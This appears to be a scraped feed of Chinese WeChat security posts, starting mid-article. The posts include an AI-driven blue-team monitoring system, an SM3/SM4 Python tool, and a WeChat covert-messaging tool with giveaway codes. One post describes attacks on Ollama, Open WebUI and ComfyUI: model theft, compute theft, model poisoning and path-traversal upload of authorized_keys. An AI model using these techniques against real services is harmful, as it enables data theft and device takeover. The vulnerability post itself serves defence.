2. 危险端口关闭

   ：检测到非授权端口（如 3389、22 端口异常开放）时，自动登录服务器终端，执行端口关闭命令（如iptables -A INPUT -p tcp --dport 3389 -j DROP），并保存执行日志；

3. 日志自动备份

   ：按每小时一次的频率，自动导出各安全设备的攻击日志、流量日志，按 “设备类型 - 时间戳” 命名规则存储至加密服务器，满足护网行动的日志留存要求；

4. 应急配置恢复

   ：当检测到系统配置被篡改（如防火墙规则异常删除）时，自动调用预设的安全配置备份文件，执行恢复操作并重启相关服务。

（三）报表自动生成模块

1. 实时值守报表

   ：每小时自动生成值守报告，包含告警统计（按威胁等级、攻击类型分类）、处置记录（操作时间、动作类型、执行结果）、设备运行状态等信息，支持在线查看与 PDF 导出；

2. 护网总结报表

   ：行动结束后，自动汇总全周期数据，生成攻击趋势图、高频攻击类型统计、处置效率分析等可视化图表，为后续防护优化提供数据支撑；

3. 合规性校验

   ：报表内置护网行动合规检查项（如日志留存时长、阻断操作记录完整性），自动标记缺失项，辅助蓝队完成合规备案。

（四）人机协同交互模块

1. 人工干预接口

   ：支持通过企业微信、Web 控制台发送手动指令（如 “查询 IP 192.168.1.100 的攻击记录”“解除对 IP 203.0.113.5 的阻断”），AI 接收指令后自动执行操作并反馈结果；

2. 操作权限分级

   ：设置管理员、操作员、查看员三级权限，管理员可配置动作白名单（如禁止自动执行服务器重启操作）、修改监控策略，操作员仅能触发预设自动化流程，保障操作安全；

3. 操作追溯审计

   ：所有自动化操作与人工干预动作均记录详细日志（操作人、时间、动作内容、执行结果），日志保留 90 天，支持全文检索与导出。

（注：左侧为功能模块，右侧为对应护网场景，标注关键操作流程）

四、技术优化与性能保障

（一）基于原框架的场景化优化

针对computer-use-preview框架在护网场景中可能存在的成本、速度、稳定性问题，进行针对性优化：

1. 成本控制优化

   ：

• 截图压缩策略：采用 WebP 格式压缩监控截图，文件体积减少 60%，降低模型推理数据传输成本；

• 本地模型部署：将告警识别、语义分析等轻量级任务部署至本地边缘计算节点，仅复杂决策任务调用 Gemini API，API 调用成本降低 75%；

• 动作合并执行：将 “查询告警 - 识别 IP - 阻断操作” 等连续动作合并为一个任务流，减少模型调用次数，单任务成本从\(0.01降至\)0.003 以内。

2. 速度提升优化

   ：

• 截图增量更新：仅捕捉监控界面变化区域（如告警列表新增条目），而非全屏幕截图，截图耗时从 0.5 秒压缩至 0.1 秒；

• 模型推理加速：采用量化后的轻量级 Gemini Nano 模型，推理耗时从 2-5 秒缩短至 0.8-1.5 秒；

• 预加载缓存机制：提前缓存安全设备的常用操作页面（如防火墙阻断配置页），避免页面加载等待，单步操作总耗时控制在 1-2 秒。

3. 稳定性增强优化

   ：

• 多分辨率适配库：内置 1080P、2K、4K 等主流分辨率的坐标映射表，结合坐标归一化算法，跨设备适配准确率达 99%；

• 异常场景预案：针对护网中常见的设备重启、网络波动、界面更新等情况，预设 15 类异常处理预案，自动切换操作模式（如网络中断时切换至本地缓存操作）；

• 双机热备部署：核心决策模块采用双机热备架构，单节点故障时自动切换至备用节点，服务中断时间≤10 秒。

（二）性能测试与护网实战验证

1. 性能测试数据

2. 护网实战验证案例

某省级政务云护网行动中，部署 3 套自动化值守系统，覆盖 20 台核心安全设备，实现以下效果：

• 7×24 小时无间断监控，期间共检测并处置低中等级告警 12386 条，其中夜间（22:00-6:00）处置量占比 42%，无一条漏报；

• 平均告警响应时间 1.8 秒，较人工值守缩短 99.7%，成功阻断 3 起小规模 DDoS 攻击、17 次恶意 IP 扫描；

• 单套系统仅需 1 名运维人员进行日常维护与高等级告警复核，相比传统值守模式节省 8 名人力，人力成本降低 87.5%；

• 所有自动化操作均通过合规审计，日志留存完整，满足护网行动的安全合规要求。

（注：柱状图对比传统人工与自动化系统的告警处置量、响应时间、漏报率数据）

五、系统部署与运维建议

（一）部署架构

采用 “本地部署 + 云端协同” 的混合架构，适配护网行动的网络隔离要求：

1. 核心执行节点（本地部署）：部署在护网行动内网环境，直接对接安全设备，负责截图采集、动作执行等核心操作，保障数据安全性；

2. 决策与管理节点（云端 / 本地部署可选）：负责 AI 模型推理、任务调度、报表生成，支持通过加密通道远程管理，适配不同规模护网需求；

3. 存储节点：采用分布式存储系统，存储监控截图、操作日志、报表文件，支持容量弹性扩展，满足护网行动的海量数据存储需求。

（二）部署步骤

1. 环境准备：配置 Windows Server 2019/Linux CentOS 7.9 操作系统，安装 Python 3.9+、Playwright、PyAutoGUI 等依赖库；

2. 设备对接：通过 SSH/RDP 协议录入安全设备账号密码（加密存储），配置监控界面截图区域、关键信息 OCR 识别模板；

3. 策略配置：设置告警分级规则、自动化处置白名单、监控周期等参数，导入历史攻击样本优化 AI 识别模型；

4. 测试上线：进行 72 小时试运行，模拟各类告警场景验证系统稳定性与处置准确性，优化参数后正式上线。

（三）运维管理建议

1. 日常维护：每日检查系统运行日志，清理过期截图与日志文件（保留 90 天核心数据），更新威胁情报库与 OCR 识别模板；

2. 模型迭代：每季度收集护网实战中的新攻击类型样本，对 AI 模型进行微调，提升告警识别准确率；

3. 应急响应：建立系统故障应急预案，配备备用服务器，当主系统故障时可在 30 分钟内完成备用系统部署；

4. 安全防护：对系统本身进行安全加固，开启访问控制、数据加密、日志审计功能，避免系统被劫持利用。

（注：标注本地执行节点、决策管理节点、存储节点的部署位置与数据传输路径）

六、总结与展望

（一）应用价值总结

基于 Google computer-use-preview技术优化的蓝队自动化值守系统，通过 “视觉感知 - 标准化动作 - 智能化决策” 的技术路径，成功解决了护网行动中低端蓝队值守的人力瓶颈、效率低下、标准化不足等痛点。系统无需改造现有安全设备，部署成本低、适配性强，能够 24 小时不间断执行监控、告警处置、日志备份等重复性工作，将蓝队人员从繁琐的低端值守中解放出来，专注于高等级威胁研判、攻击溯源等复杂任务，大幅提升护网行动的整体防护效能。

（二）未来发展方向

1. 多模态感知融合：整合屏幕视觉、设备日志、网络流量等多源数据，引入音频告警识别（如设备蜂鸣告警）、红外监控等模态，提升威胁感知的全面性；

2. 大模型自主学习：基于强化学习算法，让 AI 系统在护网实战中自主学习新攻击类型的处置策略，减少人工干预，实现 “自进化” 能力；

3. 跨域协同处置：构建多区域、多单位的自动化值守协同网络，支持威胁情报共享与跨域联动处置，应对跨境、跨行业的复杂攻击；

4. 轻量化与边缘部署：进一步优化系统体积与资源占用，开发边缘计算版本，部署至网络边缘节点，降低 latency，提升实时响应能力。

在数字化时代，网络安全威胁的常态化与复杂化对护网行动提出了更高要求。自动化、智能化是蓝队值守的必然趋势，基于computer-use-preview技术的创新应用，为护网行动提供了高效、低成本的解决方案。未来，随着 AI 技术的持续发展，蓝队自动化值守系统将不断迭代升级，为关键信息基础设施安全筑牢 “智能防线”。

阅读原文

跳转微信打开

功能概述：

命令行版本的国密sm系列算法小工具

因为我的使用环境的mscOS，所以具体情况各位小伙伴根据自身保存情况排查。

为了方便实用，py运行会帮你自动检测gmssl库的安装情况。并且采用不依赖Curve类这种高级接口，这样应该能在任何 gmssl 版本上运行程序啦。

1. SM3 算法：

• 计算输入文本的哈希值

• 计算文件的哈希值（支持大文件）

2. SM4 算法：

• 生成 16 字节密钥和 IV 向量

• 支持 ECB 和 CBC 两种加密模式

• 加密和解密功能

界面演示如下：

选择sm3算法演示：

选择sm4算法演示：

生成个随机密钥：

加密解密展示：

ps：最近研究加密解密的一些玩意，写一个py的命令行版本，作为辅助使用，就不上Git了，直接贴源码到这里，有兴趣的在各种环境下调试使用。

等有时间了可能在Git上更新图形界面版本。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import sys
import base64

try:
    from gmssl import sm3, sm4, func
except ImportError:
    print("检测到未安装gmssl库，正在尝试安装...")
    os.system("pip3 install gmssl==3.2.2")
    try:
        from gmssl import sm3, sm4, func
    except ImportError:
        print("安装gmssl库失败，请手动执行: pip3 install gmssl==3.2.2")
        sys.exit(1)

def print_menu():
    print("\n===== 国密SM系列加解密工具 =====")
    print("1. SM3算法")
    print("2. SM4算法")
    print("3. 退出")
    return input("请选择功能 (1-3): ")

def sm3_menu():
    while True:
        print("\n----- SM3算法 -----")
        print("1. 计算文本哈希")
        print("2. 计算文件哈希")
        print("3. 返回主菜单")

        choice = input("请选择操作 (1-3): ")

        if choice == "1":
            data = input("请输入要计算哈希的文本: ")
            try:
                hash_val = sm3.sm3_hash(func.bytes_to_list(data.encode()))
                print(f"SM3哈希结果: {hash_val}")
            except Exception as e:
                print(f"计算失败: {str(e)}")

        elif choice == "2":
            file_path = input("请输入文件路径: ")
            try:
                hash_obj = sm3.SM3Hash()
                with open(file_path, "rb") as f:
                    while True:
                        chunk = f.read(4096)
                        if not chunk:
                            break
                        hash_obj.update(func.bytes_to_list(chunk))
                print(f"文件SM3哈希结果: {hash_obj.hexdigest()}")
            except Exception as e:
                print(f"计算失败: {str(e)}")

        elif choice == "3":
            break

        else:
            print("无效选择")

def sm4_menu():
    key = None
    iv = None
    null_char = '\x00'

    while True:
        print("\n----- SM4算法 -----")
        print("1. 生成密钥和IV")
        print("2. 手动输入密钥和IV")
        print("3. 加密 (ECB模式)")
        print("4. 解密 (ECB模式)")
        print("5. 加密 (CBC模式)")
        print("6. 解密 (CBC模式)")
        print("7. 返回主菜单")

        choice = input("请选择操作 (1-7): ")

        if choice == "1":
            key = os.urandom(16)
            iv = os.urandom(16)
            print(f"生成的密钥 (16字节): {key.hex()}")
            print(f"生成的IV (16字节): {iv.hex()}")

        elif choice == "2":
            key_hex = input("请输入16字节密钥 (32个十六进制字符): ")
            if len(key_hex) != 32:
                print("密钥格式错误")
                continue

            iv_hex = input("请输入16字节IV (32个十六进制字符，可选): ")
            if iv_hex and len(iv_hex) != 32:
                print("IV格式错误")
                continue

            try:
                key = bytes.fromhex(key_hex)
                iv = bytes.fromhex(iv_hex) if iv_hex else None
                print("密钥输入成功")
            except Exception as e:
                print(f"格式错误: {str(e)}")

        elif choice in ["3", "5"]:
            if not key:
                print("请先生成或输入密钥")
                continue

            data = input("请输入要加密的数据: ")
            mode = "ECB" if choice == "3" else "CBC"

            try:
                crypt_sm4 = sm4.CryptSM4()
                crypt_sm4.set_key(key, sm4.SM4_ENCRYPT)

                if mode == "ECB":
                    encrypted = crypt_sm4.crypt_ecb(data.encode())
                else:
                    if not iv:
                        print("CBC模式需要IV，请先生成或输入IV")
                        continue
                    encrypted = crypt_sm4.crypt_cbc(iv, data.encode())

                print(f"{mode}加密结果 (Base64): {base64.b64encode(encrypted).decode()}")
            except Exception as e:
                print(f"加密失败: {str(e)}")

        elif choice in ["4", "6"]:
            if not key:
                print("请先生成或输入密钥")
                continue

            data = input("请输入要解密的Base64数据: ")
            mode = "ECB" if choice == "4" else "CBC"

            try:
                crypt_sm4 = sm4.CryptSM4()
                crypt_sm4.set_key(key, sm4.SM4_DECRYPT)
                encrypted_bytes = base64.b64decode(data)

                if mode == "ECB":
                    decrypted = crypt_sm4.crypt_ecb(encrypted_bytes)
                else:
                    if not iv:
                        print("CBC模式需要IV，请先生成或输入IV")
                        continue
                    decrypted = crypt_sm4.crypt_cbc(iv, encrypted_bytes)

                print(f"{mode}解密结果: {decrypted.decode().rstrip(null_char)}")
            except Exception as e:
                print(f"解密失败: {str(e)}")

        elif choice == "7":
            break

        else:
            print("无效选择")

def main():
    print("欢迎使用国密SM系列加解密工具")
    print("支持SM3哈希算法、SM4分组加密")
    while True:
        choice = print_menu()
        if choice == "1":
            sm3_menu()
        elif choice == "2":
            sm4_menu()
        elif choice == "3":
            print("感谢使用，再见！")
            break
        else:
            print("无效选择，请重新输入")

if __name__ == "__main__":
    main()

希望各位看官对自己的颜面保持尊重。

阅读原文

跳转微信打开

隐匿通信<复用微信>做通道

160字：

微信（WeChat）是腾讯公司于2011年1月21日推出的一个为智能终端提供即时通讯服务的免费应用程序，由张小龙所带领的腾讯广州研发中心产品团队打造。 [1]微信支持跨通信运营商、跨操作系统平台通过网络发送语音短信、视频、图片和文字，同时可以通过共享流媒体内容的“朋友圈”“公众平台”等服务插件和基于位置的“摇一摇”“漂流瓶”等社交插件。

使用到的工具：

https://passwd.shadowsec.org/

shadowsec

一、界面

二、加密工具

三、解密工具

四、加密工具使用

五、微信中效果

六、复制微信字符解密

密码学应用到实践才是最好的！

好久没更新了，送些码给大家，只限制次数不限制用户，次数用完了就换一个试试。

LA17543854417ZC7DAC55H
LA1754385441Q1A5M4IJPI
LA17543854418XW0EKZPA1
LA17543854417INZ0SRGLC
LA17543854417VA8OJWTRO
LA175438544172RI8T80G7
LA1754385441ES3F4WQ9UF
LA1754385441C8OLUL4IK2
LA1754385441AMO0MNVI35
LA1754385441POXGRTDT9M

祝大家hw顺利结束！

阅读原文

跳转微信打开

近期腾讯朱雀实验室发现：这些广受欢迎的AI工具中普遍存在安全漏洞。如果使用不当，攻击者可能窃取用户数据、滥用算力资源，甚至控制用户设备。

文本将介绍这些流行AI工具的安全问题，以及如何使用开源的AI-Infra-Guard一键检测与收敛相关风险。

Ollama是一个开源应用程序，允许用户在Windows、Linux和macOS设备上本地部署和操作大型语言模型（LLM），受 Docker 的启发，Ollama 简化了打包和部署 AI 模型的过程， 现在已成为最流行的的个人电脑跑大模型的方案，目前网络上大部分本地部署DeepSeek R1的文章也是推荐的此工具。

1）模型删除

例如，通过接口删除模型。

2）模型窃取

通过接口查看ollama模型。

ollama支持自定义镜像源，自建一个镜像服务器，再通过接口就能轻松窃取私有模型文件。

3）算力窃取

通过接口查看ollama模型。之后便能用请求对话，窃取了目标机器的算力。

4）模型投毒

可以通过接口查看正在运行的模型，接着可以用下载有毒的模型，通过删除正常模型，在通过接口迁移有毒模型到正常模型路径，通过有毒模型污染使用者的对话。

5）远程命令执行漏洞 CVE-2024-37032

• 缓解方案

升级到最新版ollama，但是ollama官方目前无任何鉴权方案，运行ollama serve时确认环境变量OLLAMA_HOST为本地地址，避免公网运行。建议本地运行ollama再使用反向代理工具（如Nginx）为服务端增加访问保护

openwebui是现在最流行的大模型对话webui，包含大模型聊天，上传图片，RAG等多种功能且方便与ollama集成。也是现在deepseek本地化部署常见的搭配。openwebui在历史上也出现了不少漏洞，这里挑选几个典型。

【CVE-2024-6707】一个文件黑掉你的AI

用户通过Open WebUI的HTTP界面点击消息输入框左侧的加号（+）上传文件时，文件会被存储到静态上传目录。上传文件名可伪造，未进行校验，允许攻击者通过构造包含路径遍历字符（如../../）的文件名，将文件上传至任意目录。

攻击者可通过上传恶意模型（如包含Python序列化对象的文件），反序列化后执行任意代码，或通过上传authorized_keys实现远程命令执行。

流程图如下：

• 缓解方案

以上大部分漏洞影响ComfyUI全系列核心代码(包含目前最新版本)，部分流行插件，影响包括远程命令执行、任意文件读取/写入，数据窃取等。

• 缓解方案

由于漏洞修复缓慢，ComfyUI最新版本目前仍然存在漏洞，不建议将其暴露公网使用。

AI Infra Guard(AI Infrastructure Guard) 是一个高效、轻量、易用的AI基础设施安全评估工具，专为发现和检测AI系统潜在安全风险而设计。目前已经支持检测30种AI组件、不仅支持常见的AI应用dify、comfyui、openwebui，也支持像ragflow、langchain、llama-factory等开发训练框架的漏洞检测。

1）通过大模型自动积累漏洞规则

为了解决海量AI组件CVE漏洞规则的人工分析成本，我们实现了用大模型自动将历史漏洞收集的方案，传统方式中可能需要人工分析CVE描述 → 写正则匹配规则（耗时3h/漏洞），现在利用混元大模型，自动同步CVE+大模型自动解析 -> 生成漏洞检测逻辑只需要30s。也实现了对AI组件相关漏洞的实时监控：

2）使用友好

· 零依赖，开箱即用，二进制文件仅8MB

· 内存占用＜50MB，扫完千节点集群不卡顿

· 跨平台兼容，同时支持Windows/MacOS/Linux

Al-Infra-Guard 已在GitHub开源，目前已收录30+AI应用指纹，200+安全漏洞数据库，且已包含腾讯朱雀实验室独家发现的英伟达Triton，Pytorch，ComfyUI与Ray等知名AI组件漏洞。

./ai-infra-guard -localscan

如果在检测到AI服务在公网开放，也会提示

单个目标./ai-infra-guard -target [IP:PORT/域名] 
多个目标./ai-infra-guard -target [IP:PORT/域名] -target [IP:PORT/域名]
# 扫描网段寻找AI服务  ./ai-infra-guard -target 192.168.1.0/24
# 从文件读取目标扫描./ai-infra-guard -file target.txt

阅读原文

跳转微信打开

功能概述

• 支持多个目标

• 网页截图

• 攻击性 Web 模块套件

• 由 NLP 提供支持的子域名突变

• Neo4j 的本机输出（以及更多）

• 使用 Ansible 自动安装依赖项

• 使用自定义 YARA 规则搜索整个攻击面

• Python API + 开发人员文档

目标

BBOT 通过 接受无限数量的目标-t。您可以直接在命令行或文件中指定目标（或两者！）：

bbot -t evilcorp.com evilcorp.org 1.2.3.0/24 -p subdomain-enum

目标可以是以下任一项：

• DNS_NAME（test.com）

• IP_ADDRESS（1.2.3.4）

• IP_RANGE（1.2.3.0/24）

• OPEN_TCP_PORT（192.168.0.1:80）

• URL（https://test.com）

安装

克隆项目仓库
首先，通过 Git 克隆 bbot 的官方仓库到本地：
git clone https://github.com/blacklanternsecurity/bbot.git
安装依赖项
进入克隆下来的项目目录，并安装所需的依赖项。bbot 使用 Python 编写，依赖文件通常包括在 requirements.txt 中，安装方法如下：
cd bbot
pip install -r requirements.txt
演示：

阅读原文

跳转微信打开

海量权益及定制礼品等你来拿！

安全KER 暖冬作家招募计划

招募火热进行中…

今年冬天并不寒冷！

因为在这里有一群充满技术热忱的年轻人，

一起探讨和钻研安全技术，

创造属于自己的圈子，

打造自己的IP，

收获技术的成长，结识更多同路人，

让这个冬天充满对技术“热”爱！

更有海量周边放送，让这个冬日“热”起来！

在这里，我们致力于满足您对技术成长的所有憧憬！打造专属你的个人/团队圈子，营造独特的小生态环境。了解和掌握最新情报信息，分享自己的技术见解，与志同道合的同路人共同成长。此外，更有海量安全资讯与深度技术文章任您探索，助力您的技能跃升，成为更强的自己！

安全KER社区核心价值

畅所欲言，探讨交流无边界

聚焦专业“技术”板块，成为行业专家

漏洞情报“圈”演练动态，一手先知！

奖励计划，扶持互联网安全人才发展

期待你的到来！

https://shequ.anquanke.com/welcome

扫码注册 即可参与

活动规则

即日起至12月16日14:00，参与活动即可获得精美礼品！更有机会加入作家团，名额有限，师傅们冲鸭！

活动概览	活动要求	活动奖励
活动1 新人福利	发布1篇文章 或 签到5天	定制礼品四选一
活动2进阶 新人福利	发布3篇文章 或 签到12天	定制礼品四选二
活动3 作家招募	完成一篇投搞	入驻安全KER作家团
不定期福利	活动社群	定期福利抽奖

（活动1和活动2 奖品仅可获取一组，活动详情见下文）

1

安全KER新人福利

平台注册，且完成下方任意操作（如为转发文章请标记出处）：

1. 成功发布1篇文章（技术/资讯）；

2. 连续签到5天（活动期间）。

完成其中之一，即可兑换周边奖励四选一。

（数量有限先到先得。添加文末活动工作人员领取，备注：安全KER奖品领取+完成的操作截图+收货信息）

2

安全KER新人福利进阶版

平台注册，且完成下方任意操作：

1. 成功发布3篇文章（技术/资讯）；

2. 创建圈子且人数达到15人；

3. 连续签到12天（活动期间）。

完成其中之一，即可兑换周边奖励四选二。

3

安全KER作家招募

平台注册，发布一篇个人原创文章到安全KER，我们将根据文章质量进行审核，择优招募安全作家加入我们，后续将推出征稿等专属活动。

01

能力验证：发布一篇本人原创文章（可以是非首发）

02

人员筛选：择优选择文章质量优异的白帽子加入作家团。

03

作家团福利：入选作家团即可参与后续文章征集活动。现金奖励+专属身份。

（名额有限，本次能力验证投搞可以为已发表过的本人原创技术文章。文章发布后，扫描推文尾部工作人员二维码，备注安全KER作家招募+文章链接即可。）

软木定制杯托

深邃黑定制鼠标垫

酷炫定制水杯

定制三头快冲线

社群福利

扫码进群，活动参与不迷路~ 更有额外福利哦！

扫码进群

活动工作人员

安全KER社区是面向网络安全专业人士的全新平台，致力于打造集技术交流、资源共享和能力提升于一体的综合生态。

在这里，您可以参与高价值项目，与优秀同行探讨技术前沿，并获得最新的安全动态。社区通过任务激励与资源配置，助力成员在网络安全领域实现更高成就。加入安全KER社区，获取行业最新机会，展示技术实力，与精英同行共创未来！

往期活动回顾：

文末福利

【参与方式】

转发本文至朋友圈

【开奖时间】

12月9日14:00

开奖后转发无效

请中奖的朋友在开奖后3日内填写地址

并将朋友圈转发截图发送至

微信公众号进行兑奖

过时失效

—— THE END ——

阅读原文

跳转微信打开

大赛报名：https://pwn.butian.net/

2024补天杯破解大赛

 报名倒计时 >>>

11天

火热报名中！    

2024补天杯破解大赛报名如火如荼，截止到目前整个赛程已经过半，三分之一的奖金池已被锁定，这意味着，已经有相当一部分奖金将被参赛者收入囊中。此次大赛总奖池高达150万，奖金分配原则先到先得，所以，越早报名参赛，获得奖金的机会就越大！

大赛对所有选手开放报名

报名倒计时11天！

150万奖金等你来战！

国际厂商赛道

奖金一骑绝尘，全球视野下的安全较量

●●○

国际厂商赛道是补天杯的最大亮点，是来自各地顶尖选手们最高水平的比拼，在历年的比赛中也是一洞定排行，奖金一骑绝尘。今年也不例外，报名情况异常火爆，各路高手纷纷亮剑，拿出自己的看家本领！

智能产品赛道

竞争最为激烈，争做智慧生活的守护者

●●○

智能产品赛道聚焦于日常生活中的智能设备，从智能家居到可穿戴设备，这些产品在给我们的生活带来便利的同时，也带来了新的安全挑战。目前，这一赛道的竞争最为激烈，选手们踊跃提交智能产品漏洞，为智能生活的安全贡献自己的力量。

智能终端赛道

持续热门，创新与安全的双重挑战

●●○

智能终端赛道一直是补天杯的热门项目，它不仅考验参赛者的技术能力，更考验选手对智能设备安全的深刻理解。随着物联网技术的飞速发展，智能终端的安全问题日益凸显，这个赛道的设置正是为了寻找那些能够发现并解决潜在安全威胁的高手。目前，已有众多选手提交漏洞，锁定奖金！比赛仍在继续，期待更多的创新思路的参赛者涌现！

本次大赛报名在补天漏洞响应平台（https://pwn.butian.net/）进行，请根据以下步骤获取参赛资格：

1.本次比赛是以团队/个人的形式参赛，请在补天注册为白帽子，团队/个人只需注册一个账号，注册完成后请进行实名认证。

2.注册完成后请添加工作人员QQ（QQ：2656450853），获取报名信息表后，填写完整参赛项目相关信息发送邮件至大赛官方邮箱：pwn@qianxin.com

2024补天杯破解大赛

用技术守护全社会网络安全！

阅读原文

跳转微信打开

虚拟号码的骚扰电话问题已经成为许多人日常生活中的烦恼。这些电话常常以推销贷款或理财产品为名，频繁打扰我们的生活。即使将某个虚拟号码拉黑，也会有其他虚拟号码继续拨打进来，仿佛无休无止。更令人不安的是，这些诈骗分子能够准确地说出你的姓氏甚至更多个人信息，导致成千上万的人因“虚拟号码”而受骗。

虚拟号码的问题

实名制政策原本是为了追踪犯罪、保护用户安全，但现在诈骗分子通过使用虚拟号码成功绕过了监管，进入了一个“法外之地”。有一次，我的同事因为频繁接到虚拟号码的骚扰电话，向通信公司投诉，却得到了一个让人无奈的回答：“我们查不到相关信息，可能是使用了虚拟号码。”这种解释实在难以让人信服。难道通信公司真的不知道虚拟号码的存在？还是出于某些利益关系选择性忽视？有时候真让人怀疑，通信公司是否在默许这种情况的发生。毕竟，这个市场的利益不小，而普通用户却成了最大的受害者。

普通人的隐私荡然无存

在实名制的大环境下，我们普通老百姓几乎毫无隐私可言。住酒店要实名，办卡要实名，甚至在街边参加个小活动都要留下联系方式。前两年我去过一个售楼部，仅仅登记了一个手机号码，结果接下来几个月里不断收到各种房产中介的推销电话。还有一次，小区里的老人在门口参加了一个免费体检活动，登记了联系方式后，就不断接到推销保健品的电话，那些人对老人的家庭住址和健康状况了如指掌。

每年涉及诈骗的案件数以十万计，涉案金额更是天文数字。在很多案件中，“虚拟号码”都是帮凶。实名制之前，诈骗的成功率并没有这么高，那时候大家彼此不认识，一些电信诈骗只能靠碰运气。但在实名制普及之后，我们的所有信息几乎都被诈骗分子掌握，他们甚至通过大数据分析，比我们自己更了解自己。不仅掌握了个人的收入情况，还知道家庭成员的情况。这使得他们在实施诈骗时非常顺利，因为很多人都难以想象，一个如此了解自己的人竟然还会骗自己。比如有些案件是诈骗分子给老人打电话，谎称其儿子发生车祸急需医疗费，最终把老人的钱骗光。

到底在保护谁？

“法网恢恢，疏而不漏”，但实名制的“法网”却漏掉了许多真正的“大鱼”。那些所谓的“虚拟号”是从何而来？那些精准的个人信息又是被谁泄露的？我曾在网络上看到一个案例，一位网友被骗后立即报警，但直到现在钱也没有追回来。警方表示这些骗子使用了虚拟号码，很难追踪到。这让人感到无奈和心寒，法律本应保护普通百姓，但现在反而让骗子更加肆无忌惮。遵守规则的人被束缚，不守规则的人却逍遥法外。

我们不能否认实名制在社会治理中的积极作用，但当它的负面效应开始显现时，我们是不是该反思一下实施方式了？例如加强对“虚拟号码”的监管，完善个人信息保护机制，堵住数据泄露的漏洞。希望“实名制”能真正成为它应有的样子，保护每一个普通人的权益。

阅读原文

跳转微信打开

10月17日-18日，上海·五角场凯悦酒店见！

上海·五角场凯悦酒店

@白帽师傅们！

2024补天白帽大会

即将拉开帷幕！

2024补天白帽大会

一起来看看今年的大会都有哪些议题吧！

大会议程

大会议程

大会议程

2024补天白帽大会报名通道已开启

购票网址：https://whc.butian.net/2024

二维码购票：

长按识别上方二维码购票

普通票早鸟票：99元/张（补天白帽可在补天商城19KB兑换）

普通团体票早鸟票：69元/张（3张起购）

学生票早鸟票：69元/张（补天学生白帽可在补天商城12KB兑换）

学生团体票早鸟票：49元/张（3张起购）

普通票：2088元（全场论坛通票）

早鸟票限时抢购，先到先得！

期待每一位白帽子的加入！

开启白帽之旅

加入2024补天白帽大会

与全球白帽黑客

Hack For Security Together ！

2024补天白帽大会

09/18

●●○

志愿者招募>>>

如果你想更进一步感受补天白帽大会，欢迎报名活动志愿者：

工作内容

   负责参会者签到、互动及活动物料管理工作；

   协助完成论坛活动及其他辅助工作;

福利待遇

   2024补天白帽大会大礼包一套

   2024补天白帽大会期间用餐

   与白帽大神近距离交流互动

   获得实习或就业推荐

报名须知

   活动时间：10月17日、18日

   活动地点：上海五角场凯悦酒店

   自愿参加志愿服务工作，具备良好的组织协调工作和沟通协调能力，听从领队安排，保证及时抵达现场。（上海地区优先）

感兴趣的师傅们，请添加补天运营荷兰豆qq：2656450853报名，备注白帽大会志愿者，名额有限，快来加入我们吧 ！

2024补天白帽大会

文

末

福

利

转发本文章至朋友圈＋关注公众号

关注此公众号+转发本文至朋友圈即可参与抽奖。

分组、开奖前删除、开奖后发布均视为无效。

开奖后中奖者联系工作人员并由工作人员审核是否符合兑奖条件。

阅读原文

跳转微信打开

KCon 2024 圆满落幕！

作为KCon核心——本届的Show Case环节，今年有20组演讲嘉宾登台“开讲”，其中涵盖AI大模型、车联网、芯片安全、云原生安全、APT攻击等众多热点话题。

这些演讲者既有来自一线网络安全厂商的实战分享，也有来自学术机构和独立安全研究员的独特视角，为解决新形势下的网络安全问题提供了最新的研究视角与一线实战经验。

不仅台上内容充实、干货满满，让与会者目不暇接，就连大会的短暂休憩时段，也见众多“粉丝”级听众热情不减，纷纷涌向演讲嘉宾身旁，争相提问与交流。

此外，为了让广大的安全新人少走一些弯路，知道创宇404实验室持续分享的《知道创宇研发技能表》在发布了十年之后迎来了新一版V4.0的更新，在其中补充更新了包括AI在内大量新的技术方向。

KCon深耕极客文化，匠心打造多元化平台。在这里不仅汇聚主会场精髓，更精心策划特色版块，让参与者在知识盛宴中汲取养分，于轻松氛围中释放创意，促进深度交流，共同挖掘无限机遇。

在会议厅外场，我们为合作伙伴设置了「特色展区」，由美团安全应急响应中心、OPPO安全中心、字节跳动安全响应中心的赞助支持的特色展位，各家展台设计充满挑战与乐趣的活动。

「招聘宣传栏」展出有需求企业的招聘信息，为正在寻求机会的大家提供渠道。同时，「兵器谱」吸引了众多参会者驻足。今年又有7件安全江湖的“神兵利器”脱颖而出，展示了国内安全领域的最新研究成果，为未来安全防护体系的构建提供了宝贵的思路与灵感。

为满足安全从业者和技术爱好者的学习需求，今年KCon大会培训日活动重磅回归，数位安全从业者、技术爱好者进行网络安全渗透测试技术培训。

本次培训深度融合了近两年的最新漏洞技术与实战化需求，帮助白帽和技术爱好者积累丰富的理论基础和实战经验。

本次KCon大会还获得了光明网、中国信息安全、信息安全通信与保密、信息安全研究、每日经济新闻、雷锋网、IT168、蘑菇云、安全牛、数世咨询、数说安全、嘶吼、安在等十余家合作媒体的全程报道，同时，13家安全技术社区提供支持。

划重点，划重点！！！

如果您无缘KCon 2024现场，

这份干货千万不能再错过～

大家翘首以待的KCon 2024可公开的演讲PPT

现已正式出炉！

将下方网址复制粘贴到浏览器打开

阅读原文

跳转微信打开